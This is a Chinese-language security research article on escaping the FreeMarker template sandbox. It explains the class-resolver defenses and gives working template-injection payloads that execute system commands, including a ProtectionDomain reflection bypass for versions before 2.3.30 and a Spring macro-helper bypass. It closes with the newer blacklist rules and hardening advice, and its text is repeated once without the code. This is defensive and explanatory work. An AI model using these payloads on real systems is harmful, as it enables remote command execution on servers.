JAVA安全之FreeMark沙箱绕过研究
字数 1779 2025-08-22 12:22:37

FreeMarker 沙箱绕过研究

文章前言

FreeMarker 中维护了一个 freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties 黑名单类,用于对模板渲染过程中的类方法进行检查。此检查主要通过在解析模板文件之前设置配置项的 NewBuiltinClassResolver 来实现。

防御措施

FreeMarker 存在编辑模板功能时,为了防止模板注入通常会使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制内建函数对类的访问(从 2.3.17 版开始)。该配置有以下三种参数:

  1. UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(String) 获得任何类
  2. SAFER_RESOLVER:禁止加载 ObjectConstructorExecutefreemarker.template.utility.JythonRuntime 这三个类
  3. ALLOWS_NOTHING_RESOLVER:禁止解析任何类

示例攻击载荷

<#assign test = "freemarker.template.utility.Execute"?new()>
${test("cmd.exe /c calc")}

当使用上述攻击载荷时,会报如下错误信息:

Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

沙箱绕过方法

2.3.30 以下版本绕过

方式1:绕过 class.getClassloader 反射加载 Execute 类

可以使用 java.security.protectionDomaingetClassLoader 方法来获得类加载器,随后再一步一步反射调用 Execute 类。

Payload 构造

<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec, null)("cmd.exe /c calc")}

其中 <<object>> 需要替换为数据模型中存在的对象变量名。

方式2:Spring Beans 可用时直接禁用沙箱

此 payload 需要 FreeMarker + Spring 并设置 setExposeSpringMacroHelpers(true) 或在 application.properties 中配置 spring.freemarker.expose-spring-macro-helpers=true

Payload

<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("cmd.exe /c calc")}

2.3.30 以后版本绕过

FreeMarker 在 2.3.30 中引入了一个基于 MemberAccessPolicy 的新沙箱,默认使用 DefaultMemberAccessPolicy。漏洞防护需要同时配置 new-builtin-class-resolver,否则用最初的 payload 即可攻击。

在 2.3.30 及以上版本中,ProtectionDomain.getClassLoader 已被加入黑名单(在 DefaultMemberAccessPolicy-rules 文件中)。

关键安全配置分析

DefaultMemberAccessPolicy-rules 文件

该文件定义了详细的访问控制规则,主要规则类型:

  1. whitelistPolicyIfAssignable:该类型及其子类型的成员只能访问已列入白名单的成员
  2. blacklistUnlistedMembers:未列出的成员将被列入黑名单

重要限制示例:

# Disallowed since 2.3.30: 
java.security.ProtectionDomain.getClassLoader()
java.lang.Class.getClassLoader()
java.lang.reflect.Method.invoke(java.lang.Object,java.lang.Object[])
java.lang.reflect.Constructor.newInstance(java.lang.Object[])
java.lang.reflect.Field.get(java.lang.Object)

结论

  1. 如果使用 FreeMarker 并给予编辑模板权限,除非 FreeMarker 版本在 2.3.30 及以上并配置 new-builtin-class-resolver,否则均可被攻击
  2. 即使满足上述条件,如果 expose-spring-macro-helpers 为 true,依然可以执行命令
  3. 最佳实践是:
    • 升级到最新版本
    • 配置 new-builtin-class-resolver
    • 设置 spring.freemarker.expose-spring-macro-helpers=false
    • 限制模板编辑权限

参考链接

Room For Escape Scribbling Outside The Lines Of Template Security

FreeMarker 沙箱绕过研究 文章前言 FreeMarker 中维护了一个 freemarker-core/src/main/resources/freemarker/ext/beans/unsafeMethods.properties 黑名单类,用于对模板渲染过程中的类方法进行检查。此检查主要通过在解析模板文件之前设置配置项的 NewBuiltinClassResolver 来实现。 防御措施 FreeMarker 存在编辑模板功能时,为了防止模板注入通常会使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或设置 new_builtin_class_resolver 来限制内建函数对类的访问(从 2.3.17 版开始)。该配置有以下三种参数: UNRESTRICTED_ RESOLVER :可以通过 ClassUtil.forName(String) 获得任何类 SAFER_ RESOLVER :禁止加载 ObjectConstructor 、 Execute 和 freemarker.template.utility.JythonRuntime 这三个类 ALLOWS_ NOTHING_ RESOLVER :禁止解析任何类 示例攻击载荷 当使用上述攻击载荷时,会报如下错误信息: 沙箱绕过方法 2.3.30 以下版本绕过 方式1:绕过 class.getClassloader 反射加载 Execute 类 可以使用 java.security.protectionDomain 的 getClassLoader 方法来获得类加载器,随后再一步一步反射调用 Execute 类。 Payload 构造 : 其中 <<object>> 需要替换为数据模型中存在的对象变量名。 方式2:Spring Beans 可用时直接禁用沙箱 此 payload 需要 FreeMarker + Spring 并设置 setExposeSpringMacroHelpers(true) 或在 application.properties 中配置 spring.freemarker.expose-spring-macro-helpers=true 。 Payload : 2.3.30 以后版本绕过 FreeMarker 在 2.3.30 中引入了一个基于 MemberAccessPolicy 的新沙箱,默认使用 DefaultMemberAccessPolicy 。漏洞防护需要同时配置 new-builtin-class-resolver ,否则用最初的 payload 即可攻击。 在 2.3.30 及以上版本中, ProtectionDomain.getClassLoader 已被加入黑名单(在 DefaultMemberAccessPolicy-rules 文件中)。 关键安全配置分析 DefaultMemberAccessPolicy-rules 文件 该文件定义了详细的访问控制规则,主要规则类型: whitelistPolicyIfAssignable :该类型及其子类型的成员只能访问已列入白名单的成员 blacklistUnlistedMembers :未列出的成员将被列入黑名单 重要限制示例: 结论 如果使用 FreeMarker 并给予编辑模板权限,除非 FreeMarker 版本在 2.3.30 及以上并配置 new-builtin-class-resolver ,否则均可被攻击 即使满足上述条件,如果 expose-spring-macro-helpers 为 true,依然可以执行命令 最佳实践是: 升级到最新版本 配置 new-builtin-class-resolver 设置 spring.freemarker.expose-spring-macro-helpers=false 限制模板编辑权限 参考链接 Room For Escape Scribbling Outside The Lines Of Template Security